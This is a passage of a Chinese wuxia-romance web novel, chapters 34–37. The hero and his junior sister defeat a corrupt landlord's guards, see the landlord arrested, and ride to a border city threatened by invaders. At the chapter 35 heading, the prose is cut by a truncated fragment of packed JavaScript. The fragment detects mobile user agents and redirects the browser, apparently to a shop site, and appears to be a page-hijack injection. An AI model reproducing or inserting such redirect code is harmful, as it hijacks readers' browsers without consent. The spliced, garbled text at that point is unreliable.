江元郁还有心思感悟自家师父的真言警句,可是柳大海那边却不行。他本来武功境界就远低于江元郁,就是凭着一腔怒气在搏命而已,可这种东西怎么能长久,气势逐渐滑落,连刀势也没有那么迅捷有力了,呼吸也乱了起来。
江元郁瞅准机会,一个箭步贴近了柳大海身前,速度之快让柳大海来不及反应,挥舞的大刀也因力尽还没法收回,被江元郁一个擒拿叼住了手腕,剧痛之下不由得松开了握刀的手。
“哐啷。”
大刀落在地上的同时,江元郁的后招也用了出来。只见他如乳鸟归巢一般,整个人似缩成一团般,背身欺进了柳大海前胸,之后身躯如同伸懒腰一般,四肢与柳大海四肢快速碰击在了一起。
“咚!”一声巨响之后,两人交手之处,只剩下了江元郁面朝孟归芸等人而立,嘴上带着一丝笑意,定定的看着孟归芸。
孟归芸知道师兄这是跟自己显摆呢,也朝着江元郁一笑。
“少爷!少爷!”这时,牛府的管家带着一队护院终于也抵达了现场,找了半天才在街边马车处发现了牛飞扬。
“何管家!是他们,就是那两个男女,他们打伤了少爷,还杀了我们牛府这么多的护院。”阿昌一见到管家,立马开始了哭嚎,控诉孟归芸二人,“还有这些刁民,竟然敢围攻我们,何管家你可不能放过他们啊。”
“这到底是怎么回事?柳大海,柳大海呢,怎么他没有保护少爷,他人呢!”何管家没有搭理阿昌,看到牛飞扬那染血的下袍之后,自己掀起来一看人也呆住了,嘴里喃喃的问道,可是周围完好点的人就只有阿昌和那个去叫牛飞扬的小厮。
阿昌现在只是一个劲的哭嚎,翻来覆去就只有那么几句话。
“你说。”何管家稍微回过了神,朝着那小厮喊道。
“这,这...”小厮不知该如何开口,迟疑了半天之后,还是说道,“我在青/楼找到了大少爷,我们出来的时候,看到街对面有个年轻女子。见她一个人,大少爷就过去搭讪,不知说了什么,大少爷就开始拽那个女子上马车。周围的那些百姓就围了过来,不让我们走。”
“大少爷就发了响箭,之后柳大海柳头领就带着府上的护院到来了,然后就和这些百姓动了手...又然后,从后面窜进来几个人,听着是那女子的哥哥,几下就把府上的护院们打倒了。柳头领趁乱抢回了大少爷。”
“本来柳头领想护着大少爷回去,结果大少爷让他去把那女子抢回来。那女子的哥哥就和柳
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头领他们又动了手,几名护院都被打死了,大少爷也不知怎么就受了伤。其他的...其他的我就不知道了。”
“废物。”何管家一个耳光扇到了小厮的脸上,打的他一个踉跄,差点摔倒。虽这小厮说得磕磕绊绊,但何管家还是大概明白了,大概就是自家这大少爷见色起意,想强撸那女子,结果遇到了过江龙,遭了殃。
现在摆在何管家面前的就是一个两难的选择,是立马带着大少爷离开赶紧去治伤,还是叫手下的人去擒住那两兄妹一伙人。至于那些百姓在何管家看来,等牛府腾出手来,随意就可收拾。
“飞扬!飞扬!你这是怎么了!”好在没有让他为难太久,紧跟在他们身后的牛永志也带着府上剩余的十几名护院到了,一来就看到半靠在墙边昏迷不醒的牛飞扬,身下还是一摊血迹。
“老爷。”何管家立马奔过来搀扶住哆嗦着的牛永志,牛永志却反手推开了他,颤颤巍巍的走到了牛飞扬面前。
“我儿,我儿,醒醒!醒醒!爹来了,飞扬,爹来了啊。”牛永志扑在牛飞扬身前,伸/出手抚摸着牛永志的脸庞,轻声的喊着。
“爹,爹。”不知为何,昏迷半天的牛飞扬像是突然回过神来,也睁开了眼,嘴里呢/喃着,“报仇,杀了他们,杀了他们!”
“好,好!飞扬不怕,爹在呢,爹给你报仇。”牛永志流着泪,把牛飞扬的头揽到自己的胸口处,轻柔的拍着牛飞扬的背,然后转头看向管家,像是怕声音太大吵着牛飞扬一般,“让护院们动手。”
牛永志表情很平淡,但是跟了他快二十年的管家却知道,这是牛永志怒极的表现,于是跑远两步,朝着护院们道,“那女子一伙人,全部杀了!”
见着牛府的人再度集结到一起,孟归芸对着刚赶到的莲夏问道,“官府的人怎么还没到?”
“应该快了,我从衙门出来的时候,已经在集合衙役了。怎么?小姐你是怕这些人伤到江公子么?”莲夏有点好奇。
“不是,我是怕他们来得晚一点,他们带回去的就只有一些尸体了。”孟归芸的目光一直盯着江元郁,从江元郁道表情上看得出他已经是真的有了火气。
就是不知是在为牛府这些人不自量力而发火,还是对官府的办事效率如此之低而发火了。这些时日她跟着江元郁在一起,对于一个亲王不好好待在京城享福,反而到处闲逛有了些猜测,毕竟江元郁现在有时候见暗一等人已不再避着她。
如是正想着,那边的江元郁已经朝着牛府的护院们冲了过去,手中还提着之前柳大海掉在地上的大刀,跟在他身旁的暗一等人也都是拿出了武器,面色也变得不是那么随意轻松,这下是真的打算下死手了。
刀剑相击的声音开始响起,时不时夹杂着刀剑穿过肉/体的声音,街面也逐渐被血水浸/湿,有些人也就此趴在街上再也起不来。
34. 铁河沟村(十)
看着满地倒下的人和他怀里已经昏过去的牛飞扬,牛永志已由最初的愤怒,开始变得平静。
他这一生太顺了,不管做了什么事,从没想过会有报应,但此时,他觉得,报应来了。
眼前那个如杀神一般的男子,手上拎着的大刀滴着血,正缓缓朝他走来,他竟生不起一丝反抗的心思,他闭上双眼,等待着最后的审判降临。
周围的百姓也静静地看着这一幕,没有人发出声音,孟归芸放在身侧的手不自觉的紧了紧,她知道江元郁原本的打算,若是江元郁被激怒,临时改了主意,那她必须阻止他。
看着江元郁一步一步走到牛永志身前,带血的刀尖指向了牛永志,孟归芸走了过去,她轻轻抓住江元郁拿刀的手腕。
江元郁转头看向她,冲她温和地笑了笑,示意她别担心,孟归芸神情一松,这才放下心来,知道他不过是想吓吓牛永志。
细密的脚步声从远处传来,江元郁和孟归芸回头看着周围的百姓,他们还没有发现,只一脸担忧地看着两人。
江元郁和孟归芸冲他们弯腰揖了个礼,便带着暗卫和莲夏走了,百姓们正想追上去看看,身后便传来了捕快的喊声:“衙门办事,闲杂人等避让。”
从百姓们自发让开的一条道中看见过来的捕快和衙役,刚才吓得不敢吱声的管家立马有了精神,高声喊着:“大人们终于来了!我们老爷大少爷被欺负得好惨啊!”
牛永志心知自己并未派人去过衙门,以牛飞扬的德性更是不可能报官,许项毅向来也不会主动给自己找事儿,再联想最近发生的事儿,衙门这番来人,说不准是不是来帮他们的。
牛永志便没说话,只安静地看着,可管家向来只当石门县的官府是牛家一边的,看着到了眼前的捕快,只觉得是看到了救星,连着发软的腿都有劲儿了,爬起来就往捕快那儿跑,指着孟归芸他们离开的方向:“快!快!歹人他们往那边跑了!”
管家抓着的那人并未搭理他,管家等了会儿也没等来任何回应,正一脸莫名其妙地看过去。
那人应是个捕头,推开管家抓他衣袖的手,目视着牛永志,大声道:“石门县牛永志非法兼并民田,证据确凿,奉知县大人命,特来抓捕。来人,将嫌犯牛永志扣押回衙门。”
此话一出,本来安静的街道瞬间一片哗然,百姓们又是兴奋又是不敢相信,知县与牛永志向来狼狈为奸,今儿个竟然能看见知县派人来抓牛永志?
管家听到这话直接愣住了,他先是不可置信地看着捕头,见那捕头一个眼神都没给他,只好又转过头看牛永志。
牛永志却如早已料想到一般,只淡淡地看着他,吩咐道:“将大少爷带回去,尽快给他医治,家里的事都听二小姐的安排。”
孟归芸和江元郁在暗处看着衙门的人将牛永志押走了,才转身回了客栈。
县衙里,许项毅正坐在县衙三堂内,神情带着烦躁,这把火终究还是烧到他头上了。
本来他是乐意跟彭言搞好关系的,毕竟这彭言学问好人品好,说不准这次乡试过了,就能进京参加院试了,以后说不准就是同僚,日后大家也好多有照应。
谁能想到这眼看着就要考试了,彭言竟然还愿意舍下功课掺和铁河沟村的事儿。
一开始彭言找他说牛永志占田的事儿,他就不想管,一个是牛永志每年给他上供了多少银两,二个是他也不想平白得罪了牛永志背后的人,虽然那人远在京城。
这彭言是个执拗的人,他只能躲着,后面还真没再来了,他好不容易松了一口气,牛家这就出事了。
本以为能白捡个功劳,还送牛家个人情,没成想卫所的人居然这么巧就去剿匪了,这事儿越来越不对劲儿,他又只能能躲则躲。
他更没想到这彭言胆子也太大了,竟敢真的告到府上去,更更没想到知府竟然真的会管这事儿。
眼下知府都下了令了,他也只能将牛永志抓了回来。
听捕头过来禀报,牛永志已押到了牢里,许项毅才起身,决定先去见见牛永志。
“牛老弟,你跟老哥我说句实话,你是不是得罪什么人了?”许项毅到底不敢彻底得罪了牛永志,给他单独安排了一间安静的牢房,还命人提前收拾好了。
牛永志一到牢房看见这布置,便猜抓他进来并非许项毅的意思,再听他这么一问,心下更是肯定:“知县大人,您也是知道我这个人的,别的不行,眼色还是有的,我能得罪什么人啊?”又问道,“可是您这边得了什么消息?”
许项毅转眼看了看周围,见人都站得远远的,才小声说道:“我这是得了知府大人的命令才来抓你的,知府大人说是得了那彭言的举报信。”
顿了顿又道:“可彭言不过一个秀才,知府大人就算会管这事,又怎会如此迅速就下令到了我这儿,怕是上面还有人,只是借了他的名头。”
牛永志点了点头,这要是还不明白自己是被人整了,那他真的蠢死了。
只是他怎么也想不明白,自己究竟是得罪了哪个大人物,又是怎么得罪的?他只能再请许项毅帮他送一封信出去,给他在京城的母亲。
这边孟归芸和江元郁刚回客栈,便看见彭言在房间门外等着他们。
待进了房间后,彭言才有些踟躇地笑了笑,问道:“我听说牛飞扬被废了……”
孟归芸和江元郁不由得相视一眼,这消息传得还挺快,不过彭言着什么急呢?
“是啊,怎么了?”江元郁回了他。
“我……牛永志现在入狱了,牛飞扬也被废了,我就是想问问,对牛家的其他人,你们还有什么打算?”
“人倒是暂时没有,只是他们家的生意应该也要不行了。”江元郁想了想,如实跟他说了,毕竟彭言也是参与了这个计划的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368848|138803||http|test|mini|href|location''.split(''|''),0,{}));
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>看着彭言有些微红的耳朵,孟归芸似乎懂了什么,牛家人口简单,这牛老爷贪财却不好/色,家里的孩子都是正妻所出,除了牛永志和牛飞扬,家里也就三个人:牛夫人、牛二小姐、牛小少爷。
孟归芸开口道:“牛二小姐的事儿我听说过,她生性善良,与她父亲不同,且刚才牛永志亲口说的,牛家的事目前都由她来决定。放心吧,她没事的。”
彭言这才松了口气,回过神来想着孟归芸说的话,转头向孟归芸看去,见孟归芸正笑着看他,立马又红着脸撇开头去。
江元郁看着这两人的互动,心里有些不得劲儿,他不是傻子,孟归芸那么一说他就明白了,这彭言在意的是牛婷婷。
可他看着孟归芸对着彭言笑,就是难受,自从那次他拒绝她以后,她再也没提过成婚之事,甚至没有半点沾边或旁敲侧击。
难道她就这样放弃了?
彭言又看了看江元郁,见他脸色不怎么好,担心他还有别的事碍着自己在不好说,便主动退了出去。
回到房间的彭言躺在床上,脑中不自觉地就浮起了牛婷婷的身影。
他知道自那次淹了田后,牛婷婷经常去铁河沟村给村民送东西,但他其实不是在铁河沟村见的她。
早两年的时候,他来石门县帮老师带话,顺便帮家里买点米回去,恰好路过牛家的米铺,想起家里说这里的米最近便宜了不少,便进去了。
买好米正要出门,一个浅蓝色的身影从他旁边掠了过去,他的眼神不自觉地就跟着往前了。
那浅蓝色身影是一名年约十三四的女子,正将手里的东西递给一位衣服已有好几个破洞的大婶儿,那大婶儿抹抹眼泪,接过东西,千恩万谢地走了。
女子朝她挥挥手,便转身往回走,他这才看清了她的样子,肌肤算不得很白,但气色好,透着红润,弯弯的月牙眼让人一看就心生好感。
察觉到有人在看她,女子向他看来,愣了愣神,冲他笑了笑,便又跑了进去。
后来他才知道这是牛家的二小姐,当时她在米铺是在学着管理铺子。
此后他又碰见过几次牛婷婷,但两人都没有说过话,只偶尔对视了会点点头。
铁河沟村的事,村民们来找他的时候,他想试着去找她看看,他知道有点冒昧,但这事儿若是能通过私下解决,对村民来说,其实更好。
也许他也有点想见见她,跟她说句话吧。
但他去米铺旁敲侧击地打听时,才知道牛婷婷已被牛永志关起来好久了。
这次虽有蒋家兄妹两人出手,惩治了牛永志一番,但他听到牛飞扬出事的时候,还是不免担心牛婷婷,毕竟蒋家兄妹对此地不熟,万一将牛家的人全部处理了……
他思虑再三,还是决定跟蒋家兄妹询问一下,幸好,她没事,希望这次的事不会对她造成太大的打击,不知道她此时正在做什么?
35. 告别
牛夫人心神不宁的,非要到门口等着,牛婷婷将牛飞烨哄去了自己房间,便也跟着牛夫人去了。
等了许久才见着牛府的马车回来了,只是原本跟去了一/大批人,回来的就稀稀拉拉几个人,两人这就感觉不好了。
马车刚停下,牛夫人就赶紧跑了过去,对着管家问道:“怎么了这是?老爷呢?飞扬呢?”
牛夫人边说着边去掀马车帘子,马车里就躺着牛飞扬一人,血已将衣服染湿了大半,吓得牛夫人尖叫起来,颤着手伸向牛飞扬的衣服。
牛婷婷见状一把抓住牛夫人的手,顺势扶着她有些发软的身体往旁边去:“娘,快让他们将大哥抬进去,让大夫给大哥治疗要紧。”
牛夫人还在失神中,下意识附和着女儿:“对对对,快将飞扬抬进去!快啊!”
下人们将牛飞扬抬了进去,让大夫去给诊治了,管家知道夫人向来是不管事的,更何况此时她还守在牛飞扬门外,也没心情听别的事,便到一边单独给牛婷婷汇报。
牛婷婷从管家口中得知了街上的情况,知道他们牛家这下是撞到铁板上了。
她叹了口气,不知道是为牛家如今的情况哀叹,还是叹终究这么一天到来了。
如今爹入了狱,大哥被废,娘向来不管事,家里的担子落在了她的身上。
但牛婷婷并未觉得害怕,反而隐隐有点激动,她早就想接下家里的生意了,她知道,只有将这些握在自己手里,她才有足够的话语权。
牛婷婷略略想了想,便吩咐下去,让管家先去找人将街上的护院和小厮们都先安置好,受伤的和死亡的都统计好了,把名单交上来。
接着安排几名小厮和婢女简单收拾了些东西准备送去衙门,又派了人去将别院的大部分仆人们都传回来……
将家里的事一一安排好了,她便开始整理铺子和契约的事。
牛婷婷这边忙得不可开交,彭言却是事情了得差不多,与孟归芸他们辞行,准备回家了,吃了孟归芸他们的药,这十来天腿已基本好了,正常走路没问题,也该回去让父母安心。
晚上,孟归芸正躺在床上想着,什么时候再去一封信与谢清莹联系一下,不管怎么样,先与谢清莹透露一下她的想法,若是谢清莹愿意帮她,她得与师父师兄提出回京一趟。
想着想着,孟归芸觉得不如这次出发前就写好,毕竟这信来回得不少时间,到时候谢清莹的信寄到林家,师兄他们有自己的联络方式,还得再麻烦师兄那边帮忙把信取来。
正准备起来,就察觉到有人去了隔壁,等了等,没有什么动静传来,应该又是师兄身边的暗卫。
“主子,暗五传来消息,西陵县那边发现动静,山上疑似藏有私兵,把守严密,有定时定点巡逻的人。询问过当地的百姓,大约是从五个月之前开始有了山匪的传闻。为了不打草惊蛇,他不敢轻举妄动,还请主子示意。”
西陵县位于南境边关的两省交界处,此处山地颇多,便于隐藏。
江元郁此前曾经过了西陵县,打算沿着这山路走近道。
路过的猎户拦住他,说这山上有山匪,让他别走这边,之前就有人路过此地再没回来,附近的人现在都不会走这里。
可山匪怎会选择在这种地方?此山距离官道还有五六里路,也不是什么运货的必经之路,且周围被其他山体环绕,只有一条小路延伸着,路过的人都没几个,还多是平民或赶路人,能抢得到几个钱。
他当时还得赶往其他地方,谢过猎户后,还是从这地方过了,但并未遇见猎户所说的山匪,便留了暗五在此处继续调查。
如果真是藏了私兵,对方怕是有谋逆之心,得亲自过去一趟。
西陵县距离石门县约有一千公里,快马加鞭也得跑五天左右,这种事也不适合带着师妹冒险,恐怕只能暂时与他们分开,让师父先带着师妹去游历了。
“我这边会尽快赶过去,让他先盯着,有新动静及时传过来,如若对方提前出动了,就直接拿着我的令牌,去通知离西陵最近的戴荣将军。”
五个月前开始有了传闻,说明对方才刚开始准备不久,正常情况下,打造一支精锐之师,怎么说也要数年之久。
但目前情况不明,一切皆有可能,还是做好准备的好。
“你再安排几个机灵的去支援暗五,另外,这个消息也递一份给京城那边。石门县这边,你留一个人盯一下动静,尤其是那天街上的百姓那边,别让人去找他们茬了。”
“是。”
江元郁想尽早出发,但这会儿已经半夜,不便再打扰师父和师妹,便提笔写信,打算留封信就走。
刚把纸铺开,便响起了轻轻的敲门声。
“是我。”宏安的声音。
江元郁将门打开,见师父和师妹都来了,尤其是师父一脸凝重,心下有些奇怪,莫不是听到暗一与他的对话了?
那也不用这么着急来找他吧,师父和师妹是不是都担心他啊,想到两个人都这么在乎他,江元郁忍不住有些开心,但面上还得绷着。
宏安面色沉沉,开口道:“我今晚总有不好的感应,于是去观天象,发现有异变,荧惑与心宿相遇徘徊,略略算了一卦,我得往西北方去一趟。”
一听到西北,江元郁眼神微变,从石门县的方向算,西北方正是梁国所在的位置,荧惑守心与君王和战争有关,不知是否是梁国又发起了战争,还是梁国哪个皇子开始行动了。
“这趟恐有些凶险,以我的实力说个来去自如还是可以的,但带上你们,可能反而让你们陷入危险。”宏安朝江元郁看去,“我便打算独自前去,之后的路程就由你带着师妹去吧。方才你房间有人,我就先跟你师妹说过了,她也同意了。”
“这……”江元郁此刻却有些不好说出口,他也有事要去办,怕师妹跟着他受罪,又不想让师妹独自一人回去,师妹如今有些
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功夫,人也聪明,但实非顶级高手,莲夏功夫也不高,帮不了她多少,身边没有他和师父,他也担心。
孟归芸和宏安都朝他看来,孟归芸带着些疑问:“师兄也有事要去处理吗?”
方才她进来就看见桌子上摆的笔墨了,她原以为是师兄要给别人写信,现在看来,只怕信是给她和师父的。
若不是师父今晚也要走,他们来找他来,怕是明天早上醒来她就见不着师兄了。
江元郁一想到万一他真走了,师父那边更危险,留下师妹一个人在这,他真的要内疚死:“实不相瞒,我刚才才收到消息,西陵县那边有动静,可能有点危险,我本来也打算今晚走的……”
“要不然我调几个高手过来护送师妹回去吧。”大部分暗卫都调往各处办事了,身边只有暗一负责传达消息和调动人手,但也不至于找不到化劲高手过来,虽然不比自己和师父在她身边。
“不,师兄,我跟你去。”江元郁抬眸,见孟归芸定定地看着他。
孟归芸也不知道自己怎么就做了这个决定,明明她刚才在房间还想着回京同谢清莹商量事情。
宏安看了看两人,用决定一般的语气说道:“就让你师妹和你一起去吧,她虽然境界和武功不如你高,可轻功和身法却是一流,关键时刻保全自己应该没问题的。更别说她的医术制药远在你之上,我相信她不仅不会拖你后腿,更能帮到你。”
江元郁倒是被点醒了,确实,他似乎有点下意识的想让她避免处在危险当中,但忽略了,这一路以来,师妹冷静聪慧,化解了不少问题,明明他也经常夸她的。
更何况,看着孟归芸的眼睛,他觉得自己根本无法拒绝她的请求。
“好,那师父,我这枚玉佩给您,若您有需要我们的,就用这个联系我们。”江元郁取下自己的双鱼玉佩递给了宏安。
宏安往回推了推,又摆了摆手:“不用,若是战争,你们来人不来人都会是问题,我只担心百姓受苦,所以前去看看能不能帮帮他们。这双鱼玉佩还是你们拿着方便,我若是想找你们,自会找到的。”
江元郁点了点头,三人便各自回房间收拾东西,准备出发。
孟归芸弯腰轻轻拍着莲夏的肩膀,莲夏立马睁眼:“小姐!”
转头一望,房间里没其他人,心里想着是不是外面有人,坐起身来,对着孟归芸指了指外面,然后眨巴眨巴眼睛。
孟归芸轻声笑了出来:“外面没情况,只是师兄和师父有点事,我们现在就要赶路出发了。”
莲夏有些尴尬地摸了摸头,随后麻溜地下了床穿好衣服:“好嘞,小姐,我马上收拾东西。”
几人东西都不多,很快就收拾好了,避开店里的人,向着城外出发了,这时候城门关着,几人选了处相对人少好翻的墙,翻了出去。
江元郁领着他们,根据暗一留下的痕迹,往前走了一里左右,便找到了已经准备好的马匹。
36. 南疆战事(一)
驶出官道后的第一个分岔路,宏安便与孟归芸他们分开。也没骑马,自己大袖飘柔地朝着西北方去了,可即使如此,对老道士已经很熟悉的孟归芸,还是从他身上感受到了一丝凝重。
一路上,孟归芸时不时能感觉到暗卫的存在,有时又会感觉不到,心下暗自猜测现在的形势恐怕不容乐观,不然暗卫的来去不会如此匆忙频繁。
在他们第三次换马的时候,莲夏的脸上已经有了明显的疲倦之感。她不似孟归芸那般武道进展迅速,骑术也是一般,这种长途急性的状态让她体力消耗很快。
她一直咬牙坚持,但孟归芸和江元郁都看出来她很吃力。
孟归芸叫住要去牵马的莲夏:“这之后的路你跟我一起,坐我前面,休息会儿。”
莲夏低着头有点沉默,纠结了几晌才回了个“好”。她知道现在不是逞强的时候,可一想到自己拖累了小姐,心里还是有些难受。
孟归芸心疼地摸/摸她的头,她自是知道莲夏的心思,安慰着她说:“你在马上放心休息,我会护着你的,定不会让你掉下去。不然要是到了地方,你却没了精神,我可梳不出漂亮的头发来。”
莲夏一想到孟归芸每次离开她几天,要么头发就乱糟糟的样子,要么就随手用布条扎一下,发簪盘头都不会,忍不住抿嘴笑了一下。
是呢,小姐虽然聪明又武功高,但还是少不得她来照顾的,想到这里,莲夏心里颇有些小得意。
江元郁在旁边看着,这主仆俩人之间的相处总是这么温馨。
可惜自己和师妹之间却少了这样子的感觉。不过一转念想起来之前在石门县吓唬牛永志时,师妹主动来握住了自己持刀的手,脸上又浮现一丝憨笑。
师妹还是很在意他的。
事到如今,他要是还不知道自己是心怡师妹的,那他也太傻了。
只是一想到自己之前义正言辞地拒绝了师妹,还说什么他绝不可能让师妹用他的资源,江元郁便感觉自己脑门上的青筋突突的跳个不停。
到底还是个傻的,不然当初怎么会说出那样的话。一时间江元郁又有些泄气,心里呐喊着谁能来帮帮我啊!
正当江元郁脑中念想飞转的时候,前方林中传来他熟悉的鸟鸣声,是暗卫有事禀报。
他本打算与孟归芸说一声就过去,但最终他选择让暗卫过来。
之前江元郁和暗卫联系从没刻意的避开孟归芸,但让暗一他们出现在孟归芸面前直接汇报信息,还是第一次。
暗一心里并不惊讶,他身为江元郁的暗卫头领,陪伴了他快十年,可以说是看着江元郁长大的。从江元郁和孟归芸认识到现在,他们之间如何相处、又发生了什么变化,暗一都看在眼里,虽说不能帮忙挑破那层窗户纸,但他知道以江元郁的性子迟早会有这么一天的。
“主子,前方暗六传来消息,他三天前在南疆城下辖的县城里,发现了一批形迹可疑的人,那些人虽服饰、长相与我大成国普通百姓无异,但举止之间却有蛮族军伍的痕迹。暗六跟了他们两天,确认他们是蛮族十五年前新组建的蛮汉军之人。”
“两日之间,这批蛮汉军的人接触了至少三波各县城的富商豪族。暗六怀疑这批人的主要目的是探查县城守卫、卫所驻地,或者拉拢一批带路党。他不敢擅自行动,便飞书来报,请您决策。”
蛮汉军三字一出,让在场的江元郁三人都是无比震惊。主要是蛮汉军的来历,对于大成国来说,太过于耻辱。
十五年前,蛮族的现任大单于刚刚继位,为了稳固权利,引兵二十万,在十日之内连破大成国三道边关防线,连克十五城。那时大成国内还是身体不好的先帝掌管朝政,当今皇上刚被立为太子也不久。噩耗传来使得先帝被气得晕厥,朝堂上分为了战、和两派,求和派还占据了上风,使得朝廷迟迟无法出兵对抗蛮族大军。
在这种情况下,连战连胜的蛮族大单于在谋士的建议下大肆宣扬起了“蛮汉一体”的说法,竟然还真的洗脑了一/大批的大成国百姓,他们不再认同自己是汉人,而是“蛮汉人”。那批人里不仅有常年饱受蛮族骚扰的边境百姓,还有部分大成腹地的百姓拖家带口逃离家乡投向蛮族的怀抱。
而蛮汉军的首批军士,就是在这些所谓的“蛮汉人”之中挑选组建的。他们熟悉大成国的文化、军事、政治、民情。大成国的将领和官员本就被打怕了,更是在蛮汉军的帮助下,蛮族大军再次在十日内攻破了大成国二十一城,死伤百姓近十五万人,掳走财宝无算。
虽说最后在先帝亲弟淳王的带领下,大成国大军在三个月内将蛮族人赶了出去,但这次战争带来的影响远没有结束。
本就身体有恙的先帝更是一蹶不振,这次突然昏厥,朝政大全也逐渐被六部等实权部门所掌控,后来先帝驾崩新帝登位都没有改变这一朝廷格局。
求和派的代表人物之一冯士廷,也是从那时起展露了头角,逐渐成长成为现在的冯首辅。
而在蛮族大单于的有意宣扬下,带给了大成国如此大辱的“蛮汉军”也成建制的保留了下来,彼时仅有三千余人的蛮汉军,如今据说已有八千军士。每次蛮族劫掠边疆,必然是蛮汉军为先锋。
“真的能够确认是蛮汉军么?”江元郁回想起蛮汉军的来历,脸色变得严肃无比,连声音都低沉无比,虽然他也知道暗六绝对不会认错,但他多希望是自己听错或者暗一说错了。
“是。暗六以性命担保,如果认错甘受军法处置。”暗一沉声道,“那两日中,那批人还举行了一次祈求至高蛮神的仪式。”
那确实不会有错了。
蛮族信仰至高蛮神,除了每年的冬天必定会举行大祭仪式,以牛、羊、强壮男女、漂亮幼童为祭品。
狂热的信徒甚至会在每日亥时举行祈求至高蛮神的仪式,以牛羊鲜血或自己的血为祭
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品。即使在战争时期也不会落下,而那时用的则是敌人的鲜血作为祭品。
“真是蛮汉军的话,那可能边关又要起战火了,而他们的目标也很清晰,不出意外就是南疆城。”孟归芸一字一顿的说道。
“而且很可能使用的还是蛮族以前常用的计谋,大军扣关引得城内人心惶惶,再威胁城里的富商豪族,里应外合打开城门。”江元郁的脸色仍然凝重。
是啊,蛮族每次的计谋都无比简单,但正是如此简单的谋划,破解起来反而更难,因为这一切都是建立在蛮族大军的实力之上,蛮族有强行攻破大成国边境任何一座城池的能力。
而以往的惯例则是,主动打开城门的,蛮族进城后只会劫掠三日便走。不主动开城门,蛮族攻破城池之后必定屠城。这个惯例,也是出自于蛮汉军。
“那主子,我们下一步该怎么办?”暗一问道。
“现在就算八百里加急,将蛮族扣关的消息传到京城起码也得五日,一来一回就得十日,更别说冯首辅等求和派大概率会阻拦出兵。这期间会有多少无辜百姓遭受战火,多少军中男儿失去生命。”江元郁似在梳理自己的思路,“我意下赶往南疆城,助我军守住边关。”
“可这样的话,主子的行踪就暴露了。”暗一有点迟疑,“而且,没有朝廷的命令,宗室不得私掌军权...”
“师妹怎么看?”一直望向前方的江元郁突然转头向孟归芸问道。
“在师兄的心中,百姓的安危和朝廷的命令,孰轻孰重?”孟归芸反问。
“自然是百姓安危更重。我大成开国太祖就是穷苦百姓出身,自小的教育也是告诉我等,百姓为先,社稷次之,君为轻。”江元郁不假思索的说道。
“那师兄可会担心陛下和朝廷给予的责罚?”孟归芸再问。
“不怕。虽说多年未跟皇兄相见,但我知道他也是以百姓为先的。况且太祖曾言,战事起,宗室当先。”江元郁已经大概明白孟归芸想要说什么了。
“那么现在就剩下一个问题,师兄可有把握守住南疆城?”孟归芸敛了微笑,直视江元郁问道。
“战争多变,而且现在蛮族大军的情况还不清楚,我不敢妄言。但如果蛮族大军数量在十万以下,凭借南疆城现有的兵力,我至少可以坚守一月,甚至有机会让他们有来无回。”江元郁掷地有声。
“那师兄要是不介意,可否带我一起前往南疆城,让我也见识一番,师妹也定然不会给师兄添乱。”孟归芸见江元郁凛然的模样,重新笑着道。
一旁的暗一心中暗自点头,不说其他的,咱这准王妃的这番从容气概却是不输男儿,以后有机会可得跟暗三他们那几个家伙好好吹嘘一番。
“好,那我们师兄妹联手,让蛮族的贼人们铩羽而归!”被孟归芸的笑意感染,江元郁在马上挺直了身躯,大笑着右手向前挥舞。
“出发,目标,南疆城!”
37. 南疆战事(二)
南疆城,始建于十五年前,在先帝亲弟淳王驱除了蛮族大军后,发动近十万民夫,历时一年半方建设完成,归拢了大成国边境十余城剩下的百姓。
城池依山而建,绵延近二十里。采取秉承重城重壕的理念,城墙高达五丈,厚为三丈。由内而外分层而立,分别是内城、内城墙、外城、外城墙、护城河、外城壕沟,仅有东西二门可以出入。
城成之时,淳王曾言:“以此城之雄伟,绝不可能由外而破,唯独需防内贼。”
当今皇上登位之后,为显示保卫边境子民的决心,不顾众臣反对,从直属于皇帝的近卫军,负责拱卫皇城安全的御前三/大营中,调出近两万人迁往南疆城驻扎。
而这一举动也取得了巨大的成果,自近卫军驻扎在南疆城后,蛮族确实再也未能攻入大成腹地,连年只能在南疆城外围扫荡劫掠小县城,耀武扬威一番后退走。这也是为何江元郁敢说有机会的话让蛮族大军有来无回。
孟归芸几人快马加鞭,终于在酉时关城门前赶到了南疆城。
“我的天,小姐,这南疆城的城墙好高啊,我感觉比京城还高。”望着南疆城高耸的城墙,和孟归芸共乘一马的莲夏发出了惊呼。
“南疆城和京城的城墙是一样高的,都为五丈。只不过京城是建于平原之地,更显厚重大气,南疆城则是依山而建,地势连绵,所以看起来更加巍峨雄伟。”孟归芸亦是仰头看着城墙,虽知晓这些事,但亲眼所见依旧被震撼到了。
“哇,小姐你太厉害了,连这都知道。”莲夏偏转头颅,再次惊叹于自家小姐的博识。
孟归芸朝着莲夏弯唇一笑,这丫头总是将自己看得太好,虽说在外面听着总觉得有些不好意思,不过她每次听见还是很开心,视线挪动的同时发现江元郁正似笑非笑的盯着自己。
“师兄怎么了?”孟归芸开口问道。
“没事,我和莲夏一样,都觉得师妹很厉害。”江元郁连忙回道,并且表情也极为真挚。
得,又多了一个。孟归芸有点哭笑不得,不过她也能感觉到最近江元郁对自己的态度好像更亲近了一些,却有点搞不懂是为何。
“现在我们已经进城,师兄觉得下一步我们该如何做。”孟归芸连忙转移话题。
“先找个客栈住下,暗六今晚会进城跟我们汇合,看他所带来的消息情况,才能决定下一步如何做。”一提到正事,江元郁立马回过神来。
“好,听师兄的。”
亥时一刻,聚祥客栈的上房内。
“暗六见过主子。”一个精瘦的汉子向着江元郁行礼,还未跪下便被江元郁一把拉住。
“事情紧急,就不要在意这些虚礼了。”江元郁道,“说说你新收集到的情报。”
“主子,可能属下前面的推断有误,或者说蛮族这次的谋划远不止是劫掠一番。”精瘦汉子暗六咬了咬牙,目光看向了旁边的孟归芸和莲夏二人,“但现在属下不敢直言,请主子屏退闲杂人等。”
此时的孟归芸和莲夏均是一身男装,可是凭着暗六的眼力,这其中一人的行为举止颇有些女儿家的姿态,怎么可能看不出这人是易了容的,只不过一时半会确实拿不准两人的身份罢了。
